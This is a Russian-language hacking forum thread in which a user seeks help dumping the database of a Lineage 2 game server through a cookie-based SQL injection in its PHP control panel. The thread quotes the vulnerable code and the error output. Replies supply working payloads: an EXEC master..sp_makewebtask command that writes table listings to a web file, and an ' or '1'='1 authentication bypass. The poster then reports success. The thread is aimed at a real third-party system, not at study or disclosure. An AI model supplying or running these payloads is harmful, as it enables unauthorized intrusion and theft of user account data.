Доброго времени суток уважаемые. Такая ситуация. Есть контрольная панель сервера игры Lineage 2. Моя цель - получить через неё базу данных игры. НАшел уязвимость типа SQL-inj (нефильтруется переменная с именем пользователя в кукисах). Вот функция проверки кукисов: Code: function checkcookie($where, $cookieuser, $cookiepass, $dbname, $sqladdress, $sqluser, $sqlpass) { connectdb($dbname,$sqladdress, $sqluser, $sqlpass); if($where==0) { $result = mssql_query(sprintf(SELECT_USER_PASS, $cookieuser)); $rows=mssql_num_rows($result); if ($rows>0) { $rows=mssql_fetch_assoc($result); extract($rows); $password = '0x' . bin2hex($password); if(md5($password)==$cookiepass) { quickrefresh('home.php'); } else { resetcookies(); } } else { resetcookies(); } } elseif($where==1) { $result = mssql_query(sprintf(SELECT_USER_PASS, $cookieuser)); $rows=mssql_num_rows($result); if ($rows>0) { $rows=mssql_fetch_assoc($result); extract($rows); $password = '0x' . bin2hex($password); if(md5($password)!=$cookiepass) { notloggedin(); } } else { notloggedin(); } } } запрос SELECT_USER_PASS в MSSQL, которому передается имя пользователя. Code: DEFINE("SELECT_USER_PASS", "SELECT account, password FROM user_auth WHERE account = '%s' "); При подстановке кавычки в переменную с именем пользователя, хранящуюся в кукисах, вылетают следующие ошибки: Code: Warning: mssql_query() [function.mssql-query]: message: Unclosed quotation mark after the character string '1234\' '. (severity 15) in E:\путь\к\скрипту\function.php on line 15 Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near '1234\' '. (severity 15) in E:\путь\к\скрипту\function.php on line 15 Warning: mssql_query() [function.mssql-query]: Query failed in E:\путь\к\скрипту\function.php on line 15 Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in E:\путь\к\скрипту\function.php on line 16 Warning: Cannot modify header information - headers already sent by (output started at E:\путь\к\скрипту\function.php:15) in E:\путь\к\скрипту\function.php on line 254 Warning: Cannot modify header information - headers already sent by (output started at E:\путь\к\скрипту\function.php:15) in E:\путь\к\скрипту\function.php on line 256 Вопрос номер 1. Есть ли в MSSQL функцияя наподобе char()? Вопрос номер 2 Как вообще получить эту долбанную бд?)) ПиСи Могу предоставить все что нужно для проведения инъекции. ПиПиСи Если вы действительно поможете мне в этом, вы будете включены в состав авторов одной статьи =). Заранее спасибо.
имхо ничего не сделаеш, так как не сможеш составить корректный запрос magic quotes не даст закрыть ковычку хотя я не очень разбираюсь в sql, но раз уж mssql, то попробуй: PHP: ; EXEC master..sp_makewebtask "путь к сайту/1.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" уточни синтаксис
ну попробуй username'+or+'1'='1 если проканает, значит пойдет. Если нет, значит надо вырубить magic_quotes и потом опять попробывать ))
Данный вопрос закрыт, всем спасибо. Отдельный респект cash`y, который помог с инъекцией. Читайте статью в следующем xakepy ez!n3